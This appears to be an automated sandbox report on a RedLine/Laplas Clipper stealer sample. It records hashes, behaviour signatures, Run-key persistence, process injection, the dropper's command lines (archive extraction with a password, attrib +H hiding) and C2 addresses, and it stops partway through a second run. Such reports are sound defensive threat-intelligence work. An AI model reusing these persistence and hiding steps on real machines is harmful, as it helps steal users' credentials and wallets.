Malware Analysis Report

2024-10-19 01:10

Sample ID 230729-n26dpadd4t
Target 729a18396d223d572bc1be314969a0cb5bb_JC.exe
SHA256 729a18396d223d572bc1be314969a0cb5bb01e7dae5c5d1b429ed421c82b1394
Tags
@ljagyxa redline laplas clipper discovery infostealer persistence spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

729a18396d223d572bc1be314969a0cb5bb01e7dae5c5d1b429ed421c82b1394

Threat Level: Known bad

The file 729a18396d223d572bc1be314969a0cb5bb_JC.exe was found to be: Known bad.

Malicious Activity Summary

@ljagyxa redline laplas clipper discovery infostealer persistence spyware stealer

RedLine

Laplas Clipper

Redline family

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Loads dropped DLL

Reads user/profile data of web browsers

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Checks installed software on the system

Adds Run key to start application

Unsigned PE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

GoLang User-Agent

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: CmdExeWriteProcessMemorySpam

Creates scheduled task(s)

Modifies system certificate store

Views/modifies file attributes

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-07-29 11:54

Signatures

Redline family

redline

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-07-29 11:54

Reported

2023-07-29 11:57

Platform

win7-20230712-en

Max time kernel

121s

Max time network

133s

Command Line

"C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe"

Signatures

Laplas Clipper

stealer clipper laplas

RedLine

infostealer redline

Downloads MZ/PE file

Reads user/profile data of web browsers

spyware stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2969888527-3102471180-2307688834-1000\Software\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe" C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Checks installed software on the system

discovery

Enumerates physical storage devices

GoLang User-Agent

Description Indicator Process Target
HTTP User-Agent header Go-http-client/1.1 N/A N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2340 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2340 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2340 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2340 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2340 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 2340 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 2340 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 2340 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 2340 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 2340 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 2340 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 2888 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\conhost.exe C:\Windows\system32\cmd.exe
PID 2888 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\conhost.exe C:\Windows\system32\cmd.exe
PID 2888 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\conhost.exe C:\Windows\system32\cmd.exe
PID 2888 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\conhost.exe C:\Windows\system32\cmd.exe
PID 2312 wrote to memory of 2444 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mode.com
PID 2312 wrote to memory of 2444 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mode.com
PID 2312 wrote to memory of 2444 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mode.com
PID 2312 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 2312 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 2312 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 2312 wrote to memory of 1984 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 2312 wrote to memory of 1984 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 2312 wrote to memory of 1984 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 2312 wrote to memory of 1500 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 2312 wrote to memory of 1500 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 2312 wrote to memory of 1500 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 2312 wrote to memory of 796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 2312 wrote to memory of 796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 2312 wrote to memory of 796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 2312 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\4.exe
PID 2312 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\4.exe
PID 2312 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\4.exe
PID 2312 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\4.exe
PID 1672 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
PID 1672 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
PID 1672 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe

"C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Users\Admin\AppData\Local\Temp\conhost.exe

"C:\Users\Admin\AppData\Local\Temp\conhost.exe"

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"

C:\Windows\system32\mode.com

mode 65,10

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e file.zip -p151971033210090161381766327410 -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_2.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_1.zip -oextracted

C:\Windows\system32\attrib.exe

attrib +H "4.exe"

C:\Users\Admin\AppData\Local\Temp\main\4.exe

"4.exe"

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

Network

Country Destination Domain Proto
NL 94.142.138.4:80 tcp
US 8.8.8.8:53 api.ip.sb udp
US 104.26.12.31:443 api.ip.sb tcp
N/A 194.50.153.183:80 194.50.153.183 tcp
NL 185.209.161.189:80 185.209.161.189 tcp

Files

memory/2340-54-0x0000000000E00000-0x0000000000E30000-memory.dmp

memory/2340-55-0x0000000073C60000-0x000000007434E000-memory.dmp

memory/2340-56-0x0000000000480000-0x0000000000486000-memory.dmp

memory/2340-57-0x0000000004840000-0x0000000004880000-memory.dmp

memory/2340-58-0x0000000073C60000-0x000000007434E000-memory.dmp

memory/2340-59-0x0000000004840000-0x0000000004880000-memory.dmp

\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 d076c4b5f5c42b44d583c534f78adbe7
SHA1 c35478e67d490145520be73277cd72cd4e837090
SHA256 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8
SHA512 b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638

\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 d076c4b5f5c42b44d583c534f78adbe7
SHA1 c35478e67d490145520be73277cd72cd4e837090
SHA256 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8
SHA512 b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 d076c4b5f5c42b44d583c534f78adbe7
SHA1 c35478e67d490145520be73277cd72cd4e837090
SHA256 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8
SHA512 b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 d076c4b5f5c42b44d583c534f78adbe7
SHA1 c35478e67d490145520be73277cd72cd4e837090
SHA256 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8
SHA512 b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 d076c4b5f5c42b44d583c534f78adbe7
SHA1 c35478e67d490145520be73277cd72cd4e837090
SHA256 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8
SHA512 b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638

\Users\Admin\AppData\Local\Temp\conhost.exe

MD5 6736c0e1179296ff6dfa0191ac874c7a
SHA1 89566e42fb866eecf5e8282b967461299ab7a08c
SHA256 c60ecd5714a23a727d9749652883ec95bcdb350b9f278c34ac504edb898073e4
SHA512 85791acbc9d538b92ac3c10a5ee87638ee0d9dd0323aa1eaf38c1c055e4312e5722f6b07e3f450c00cd595123a9981815a8ca972432749ee830852a76177125c

C:\Users\Admin\AppData\Local\Temp\conhost.exe

MD5 6736c0e1179296ff6dfa0191ac874c7a
SHA1 89566e42fb866eecf5e8282b967461299ab7a08c
SHA256 c60ecd5714a23a727d9749652883ec95bcdb350b9f278c34ac504edb898073e4
SHA512 85791acbc9d538b92ac3c10a5ee87638ee0d9dd0323aa1eaf38c1c055e4312e5722f6b07e3f450c00cd595123a9981815a8ca972432749ee830852a76177125c

C:\Users\Admin\AppData\Local\Temp\conhost.exe

MD5 6736c0e1179296ff6dfa0191ac874c7a
SHA1 89566e42fb866eecf5e8282b967461299ab7a08c
SHA256 c60ecd5714a23a727d9749652883ec95bcdb350b9f278c34ac504edb898073e4
SHA512 85791acbc9d538b92ac3c10a5ee87638ee0d9dd0323aa1eaf38c1c055e4312e5722f6b07e3f450c00cd595123a9981815a8ca972432749ee830852a76177125c

C:\Users\Admin\AppData\Local\Temp\main\main.bat

MD5 7f4c4965a2f78d6de87d304fdd355abf
SHA1 87a05c16753a036126677fe53118c07d36c0e671
SHA256 ed489607187114988306637dae2b81eff225315a8a8ee221249d14430f264fdb
SHA512 41c949862477065b8f537670b6747074c9e543753812fcb28b02be12b1bbf0fb8b9473ea0859fb1450fee848d62d4c70249d09f48a5e5eac15eb510b70b3f741

C:\Users\Admin\AppData\Local\Temp\main\main.bat

MD5 7f4c4965a2f78d6de87d304fdd355abf
SHA1 87a05c16753a036126677fe53118c07d36c0e671
SHA256 ed489607187114988306637dae2b81eff225315a8a8ee221249d14430f264fdb
SHA512 41c949862477065b8f537670b6747074c9e543753812fcb28b02be12b1bbf0fb8b9473ea0859fb1450fee848d62d4c70249d09f48a5e5eac15eb510b70b3f741

C:\Users\Admin\AppData\Local\Temp\main\file.bin

MD5 7cebec977eb671d25c4160ee75cbf124
SHA1 e09e0e906834b7f2ec270ba589a01e455ebdf0d1
SHA256 f0e78c63d52116f121709480935013c26a99bd85ba6bfd5100bc5e4411c7178e
SHA512 b79c8d6d4c947fdee755ef81c5c36d657ca1b4030c8f90f906961a22968c98d8fb6e33302191c28135c2593598876b6921f766270a50063754927b4404c798d1

\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\7z.dll

MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

\Users\Admin\AppData\Local\Temp\main\7z.dll

MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip

MD5 270d4612657b69eda3ebbb1207fc8cd7
SHA1 e023ff99c13c056fa7f80b55dc12f1d02df92114
SHA256 83b0eb7eee4c982f034d53b7541758fac699956433baeedf9b8f4494e367b5e7
SHA512 6fe46a7dd1fc6930646e3ba08306e1cfe826dcba6b7e3af1c9439157f35919739940e1d8143c6abecfa83f6b92d324764dfa8ca54dca91250b849c2cd138e6fe

\Users\Admin\AppData\Local\Temp\main\7z.dll

MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

memory/2340-113-0x0000000073C60000-0x000000007434E000-memory.dmp

\Users\Admin\AppData\Local\Temp\main\7z.dll

MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip

MD5 018ccdb718d3ad7641fecfdad0fbeb4e
SHA1 46cdffdea8e44b455873659a35dcd973364a84dd
SHA256 708b3379e029aafb112f890a6ae10f2a4eebe52eef991d2d6136a11fe84143b5
SHA512 dcd1494429ced81dfbcc83cb8c87d4cd42719d53918834e16691c0d068631ae39fe0381c668e92341a5cdccf75877c2af3ae81c66b6d37e4b149f68a06ab2803

C:\Users\Admin\AppData\Local\Temp\main\extracted\4.exe

MD5 a761e93d5993567d382af163745760ad
SHA1 27bd150490cd443a60bb70fa8b83299d75e02779
SHA256 1edbffa93edd8b72a352aec6bbf6cd36b1045b26b8dfa141b10067aaddc8d6e1
SHA512 c9e4d46a747e02b7f387d6551f2d26ce847e66a69b8a8bddb276a83388b367f2fa28153402d5f274a81fcc260840afc043c4b853dd06d87125980a49934f14fa

C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT

MD5 4762f0b6652250641a06e2029d6dda23
SHA1 bfa7925486f951f729b3ce47caa6ff52330420ad
SHA256 1e9654f0b077cfb8c393cb6cfd3d2b7918d87d56eaaf14f8523a582343d13b4e
SHA512 33227e64cc34f7e591f6a26b6eaef2f2b4369050e5a2c544413b8f8264114083a93fa70911810c19390ed3d1724bd73c135a2acf11f12f70892f20609593c72d

C:\Users\Admin\AppData\Local\Temp\main\4.exe

MD5 a761e93d5993567d382af163745760ad
SHA1 27bd150490cd443a60bb70fa8b83299d75e02779
SHA256 1edbffa93edd8b72a352aec6bbf6cd36b1045b26b8dfa141b10067aaddc8d6e1
SHA512 c9e4d46a747e02b7f387d6551f2d26ce847e66a69b8a8bddb276a83388b367f2fa28153402d5f274a81fcc260840afc043c4b853dd06d87125980a49934f14fa

memory/2260-122-0x0000000073CA0000-0x000000007438E000-memory.dmp

memory/2260-123-0x0000000001290000-0x000000000129C000-memory.dmp

memory/2260-124-0x0000000000600000-0x0000000000640000-memory.dmp

memory/2260-125-0x0000000073CA0000-0x000000007438E000-memory.dmp

\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

MD5 47945212bf602d4d01bc7f6f3acfe06c
SHA1 ce3a408fe671041927e7749711824348a051a9c2
SHA256 6f5cbd8d2594a5777fe55c24df36457400c33566cf1bb779ada56e818096fc83
SHA512 5ca68045d6bed72c591c0effbe2e9c89b53a001403d3d922a6ef5bc650eb1090a07b88f3232e4bd01a296ce69a35c82be007dbc9900aca7a09f6df246438ccb8

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

MD5 7040fb8ab8e5c5a7f764620339e24be6
SHA1 0cdc4932070b323b69b39ad8c9a8bfef0a11e77b
SHA256 2d657d0c7dcefa87099723fa19628c08377196a8478f1a5e8ae9b5a96f18ca51
SHA512 975a5136eb66f7490f767ae470413bcaa4e4e5808adc10c44b2f00ea17c2087e55f1edea3aa9fc1983e5b425740d861f302e029eee75a0cdf25b614a9e9524f9

\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

MD5 b6cba31653ee6a1ecc89e330329c4f8b
SHA1 a0478eb1d310e7f541187922e35660274b7e74cf
SHA256 938dc98d5fc0b835c43d8f4403be9d07ed2d9d0a1411c7c77e23665f4d12c5b5
SHA512 9c541935ff80760f67cf35bf040ffc6b4c53c55adfca4b1f3a4955cee5a8ea066ac10fe94902a5a6685aeecd7f8491334d158eba669143b926cf5d6ee8a54f5b

Analysis: behavioral2

Detonation Overview

Submitted

2023-07-29 11:54

Reported

2023-07-29 11:57

Platform

win10v2004-20230703-en

Max time kernel

145s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe"

Signatures

Laplas Clipper

stealer clipper laplas

RedLine

infostealer redline

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\conhost.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe" C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

GoLang User-Agent

Description Indicator Process Target
